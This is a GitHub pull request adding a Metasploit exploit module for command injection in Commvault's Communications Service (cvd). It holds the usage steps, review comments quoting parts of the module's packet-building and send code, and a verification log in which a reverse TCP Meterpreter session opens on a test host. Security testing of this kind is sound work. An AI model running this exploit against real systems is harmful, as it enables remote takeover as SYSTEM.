Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Commvault Remote Command Injection #9340

Merged
merged 5 commits into from
Jan 7, 2018

Conversation

rwincey
Copy link
Contributor

@rwincey rwincey commented Dec 22, 2017

Command Injection Exploit for Commvault Communications Service (cvd) v11 SP5 and earlier versions

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/windows/misc/commvault_cmd_exec
  • ...
  • Shellz

}
],
],
'Privileged' => false,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Privileged should probably be true if the default configuration results in a shell as SYSTEM, given that the module only supports Windows targets.


register_options(
[
Opt::RPORT(8400),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Contains a redundant ,

Could also be rewritten as:

register_options([Opt::RPORT(8400)])

def exploit

print_status("Executing payload")
buf = build_exploit()
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Redundant ()


def exploit

print_status("Executing payload")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Executing payload should probably go after the connect method and Connected to Commvault Communications Service message.

Perhaps consider:

    # Connect
    print_status("Connecting to Commvault Communications Service.")
    connect

    # Send the payload
    print_status("Executing payload")
    sock.put(buf)

ret_data = [payload.length].pack('I>')
ret_data += payload

return ret_data
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

return is redundant when used as the last line of a method.

command = command[(idx)..-1]

#Build packet
cmd_path = "C:\\Windows\\System32\\cmd.exe"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As string interpolation isn't required, this can be replaced with:

cmd_path = 'C:\Windows\System32\cmd.exe'

Does the exploit work with %COMSPEC% ? This may have the added benefit of working on system which have Windows directory mounted elsewhere.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Unfortunately this is a file path passed to CreateProcess so it cannot be %COMSPEC%.


def build_exploit()

ret_data = ''
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this required? It gets re-initialized later at line 98.

end


def build_exploit()
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Redundant ()

@bcoles
Copy link
Contributor

bcoles commented Dec 22, 2017

Looks like msftidy flagged some errant whitespace:

--- Checking new and changed module syntax with tools/dev/msftidy.rb ---
modules/exploits/windows/misc/commvault_cmd_exec.rb:21 - [WARNING] Spaces at EOL
modules/exploits/windows/misc/commvault_cmd_exec.rb:22 - [WARNING] Spaces at EOL
modules/exploits/windows/misc/commvault_cmd_exec.rb:53 - [WARNING] Spaces at EOL
modules/exploits/windows/misc/commvault_cmd_exec.rb:56 - [WARNING] Spaces at EOL
modules/exploits/windows/misc/commvault_cmd_exec.rb:62 - [WARNING] Spaces at EOL
modules/exploits/windows/misc/commvault_cmd_exec.rb:71 - [WARNING] Spaces at EOL
modules/exploits/windows/misc/commvault_cmd_exec.rb:80 - [WARNING] Spaces at EOL
modules/exploits/windows/misc/commvault_cmd_exec.rb:96 - [WARNING] Spaces at EOL
modules/exploits/windows/misc/commvault_cmd_exec.rb:99 - [WARNING] Spaces at EOL

@rwincey
Copy link
Contributor Author

rwincey commented Dec 22, 2017

Requested changes have been committed.

@wchen-r7
Copy link
Contributor

wchen-r7 commented Jan 4, 2018

Trying to verify this exploit, but it seems the vendor cannot even provide a trial version for download.

@wchen-r7 wchen-r7 self-assigned this Jan 5, 2018
@wchen-r7
Copy link
Contributor

wchen-r7 commented Jan 7, 2018

Verified! Works as advertised:

msf exploit(windows/misc/commvault_cmd_exec) > run

[*] Started reverse TCP handler on 192.168.0.12:4444 
[*] 192.168.0.15:8400 - Connecting to Commvault Communications Service.
[*] 192.168.0.15:8400 - Executing payload
[*] Sending stage (179779 bytes) to 192.168.0.15
[*] Meterpreter session 1 opened (192.168.0.12:4444 -> 192.168.0.15:49196) at 2018-01-07 09:28:56 -0600

meterpreter >

I will be landing this PR shortly :-)

@wchen-r7 wchen-r7 merged commit 7aa2965 into rapid7:master Jan 7, 2018
@wchen-r7
Copy link
Contributor

wchen-r7 commented Jan 7, 2018

Release Notes

This module exploits a command injection in Commvault's CVD process, which results in arbitrary remote code execution under the context of SYSTEM.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants